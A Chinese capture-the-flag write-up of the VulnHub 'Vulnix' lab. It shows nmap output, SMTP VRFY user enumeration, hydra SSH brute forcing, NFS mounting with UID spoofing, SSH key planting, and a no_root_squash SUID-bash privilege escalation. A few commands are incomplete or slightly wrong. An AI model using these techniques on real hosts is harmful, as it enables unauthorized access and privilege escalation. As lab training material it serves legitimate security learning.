靶机地址:HackLAB: Vulnix ~ VulnHub
文章主要是简要记录每一个过程,没有专门地对每一步截图,也许有些步骤中并不详细,会在文末附上相关详细的渗透文章
主机探测&端口扫描
端口扫描结果:
hhh@HHH:~/tmp$ nmap -A -sV -p- -T5 192.168.31.218
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-26 17:35 CST
Nmap scan report for 192.168.31.218
Host is up (0.0017s latency).
Not shown: 65518 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
| 2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_ 256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
|_ssl-date: 2021-01-26T09:38:25+00:00; +6s from scanner time.
79/tcp open finger Debian fingerd
| finger: Login Name Tty Idle Login Time Office Office Phone\x0D
|_vulnix pts/0 5 Jan 26 08:28 (192.168.31.145)\x0D
110/tcp open pop3?
|_ssl-date: 2021-01-26T09:38:25+00:00; +6s from scanner time.
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100003 2,3,4 2049/udp nfs
| 100003 2,3,4 2049/udp6 nfs
| 100005 1,2,3 35659/tcp mountd
| 100005 1,2,3 41858/udp6 mountd
| 100005 1,2,3 50793/tcp6 mountd
| 100005 1,2,3 54601/udp mountd
| 100021 1,3,4 33047/udp6 nlockmgr
| 100021 1,3,4 47683/udp nlockmgr
| 100021 1,3,4 56508/tcp nlockmgr
| 100021 1,3,4 60816/tcp6 nlockmgr
| 100024 1 35356/udp6 status
| 100024 1 45360/udp status
| 100024 1 55661/tcp status
| 100024 1 55832/tcp6 status
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
143/tcp open imap Dovecot imapd
|_ssl-date: 2021-01-26T09:38:25+00:00; +6s from scanner time.
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open tcpwrapped
993/tcp open ssl/imaps?
|_ssl-date: 2021-01-26T09:38:24+00:00; +5s from scanner time.
995/tcp open ssl/pop3s?
|_ssl-date: 2021-01-26T09:38:24+00:00; +5s from scanner time.
2049/tcp open nfs_acl 2-3 (RPC #100227)
35659/tcp open mountd 1-3 (RPC #100005)
49537/tcp open mountd 1-3 (RPC #100005)
55661/tcp open status 1 (RPC #100024)
55696/tcp open mountd 1-3 (RPC #100005)
56508/tcp open nlockmgr 1-4 (RPC #100021)
Service Info: Host: vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 5s, deviation: 0s, median: 5s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 328.66 seconds
信息搜集&权限获取
枚举用户
从25端口入手,通过smtp可以查看到用户
连接上25端口smtp服务
nc -nv 192.168.31.218 25
-n 指定ip地址
-v 详细输出
使用VRFY命令发现该命令未被禁用
VRFY vulnix
返回 250 说明有该用户
可以借此来枚举用户
SMTP用户枚举原理简介及相关工具 - FreeBuf网络安全行业门户
使用smtp-user-enum
脚本,KALI2020没有该脚本,去github上下载即可 传送门 解压后使用
在该目录下输入下面命令,即可枚举出用户名
perl smtp-user-enum.pl -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.31.218
结果:
######## Scan started at Tue Jan 26 17:47:04 2021 #########
192.168.31.218: bin exists
192.168.31.218: backup exists
192.168.31.218: daemon exists
192.168.31.218: games exists
192.168.31.218: gnats exists
192.168.31.218: irc exists
192.168.31.218: landscape exists
192.168.31.218: libuuid exists
192.168.31.218: list exists
192.168.31.218: lp exists
192.168.31.218: man exists
192.168.31.218: mail exists
192.168.31.218: messagebus exists
192.168.31.218: news exists
192.168.31.218: nobody exists
192.168.31.218: postfix exists
192.168.31.218: postmaster exists
192.168.31.218: proxy exists
192.168.31.218: root exists
192.168.31.218: ROOT exists
192.168.31.218: sshd exists
192.168.31.218: sync exists
192.168.31.218: sys exists
192.168.31.218: syslog exists
192.168.31.218: user exists
192.168.31.218: uucp exists
192.168.31.218: whoopsie exists
192.168.31.218: www-data exists
######## Scan completed at Tue Jan 26 17:47:05 2021 #########
28 results.
可以使用finger指令来验证该用户的存在
finger user@192.168.31.218 会显示有该用户
finger aa@192.168.31.218 会提示无该用户
NFS服务
nfs是一种可分散式的网络文件系统,在一个局域网内可以共享目录和文件
Linux下NFS配置及远程挂载 - 七彩乌云 - 博客园 (cnblogs.com)
提供了间接修改目录文件的可能
- 先查询服务器相关信息
showmount命令查询NFS服务器的相关信息,可以得知需要挂载的是vulnix的home目录
Linux系统如何使用showmount命令-系统之家 (xitongzhijia.net)
> showmount -e 192.168.31.218
Export list for 192.168.31.218:
/home/vulnix *
- 挂载该服务器的共享文件到本地上
Linux挂载命令mount用法及参数详解 | 《Linux就该这么学》 (linuxprobe.com)
mount -t nfs 192.168.31.218:/home/vulnix /tmp/nfs
- 访问该目录,发现访问不了
是要和vulnix有相同ID才可以访问 - 爆破user的密码
得到结果user : letmein
hydra -l user -P /usr/share/wordlists/rockyou.txt -t 4 192.168.31.218 ssh
- 登录user账号
查看到vulnix的id为2008
ssh user@192.168.31.218
- 本地创建id为2008的vulnix用户
useradd -u 2008 vulnix
passwd vulnix # 设置密码
- 切换用户进入本地的vulnix
su vulnix
- 生成公钥私钥
ssh-keygen
路径默认
密码任意输入
- 放置公钥到挂载目录上,实际就是vulnix的home目录
cp /.ssh/id_rsa.pub /tmp/nfs
- 私钥连接到真实vulnix用户上
输入创建时的密码
ssh vulnix@192.168.31.218
权限提升
思路一:通过bash进行提权
- 修改nfs文件任意用户都可访问,在vulnix用户下修改
/etc/exports
文件
sudoedit 命令 - 知乎 (zhihu.com)
sudoedit /etc/exports
将root_squash修改成no_root_squash
- 通过vulnix用户拷贝一份bash到挂载目录处
vulnix@vulnix:~$ cp /bin/bash
- 重启靶机,重新挂载该目录
umount /tmp/nfs
mount -t nfs 192.168.31.218:/home/vulnix /tmp/nfs
- 以本地的root权限进行访问挂载目录的nfs文件夹,修改该bash的权限
使得vulnix可以直接执行
chmod 4777 bash
chown root.root bash
root@HHH:tmp/nfs# ls -al
总用量 932
drwxr-x--- 4 vulnix vulnix 4096 1月 26 16:28 .
drwxr-xr-x 4 hhh hhh 4096 1月 26 16:20 ..
-rwsrwxrwx 1 root root 920788 1月 26 16:27 bash
-rw------- 1 vulnix vulnix 119 1月 26 16:28 .bash_history
-rw-r--r-- 1 vulnix vulnix 220 4月 3 2012 .bash_logout
-rw-r--r-- 1 vulnix vulnix 3486 4月 3 2012 .bashrc
drwx------ 2 vulnix vulnix 4096 1月 26 05:21 .cache
-rw-r--r-- 1 vulnix vulnix 675 4月 3 2012 .profile
drwxr-xr-x 2 vulnix vulnix 4096 1月 26 05:20 .ssh
- *在用户vulnix中执行bash
./bash -p
不是很清楚-p是什么意思
- 前往root目录查看文件即可
总结
- smtp服务,用户枚举
- nfs文件系统(共享)
- 挂载服务器到本地
- 创建指定id号的用户
- 公钥私钥登录、ssh
- sudoedit使用
- 修改权限chmod、chown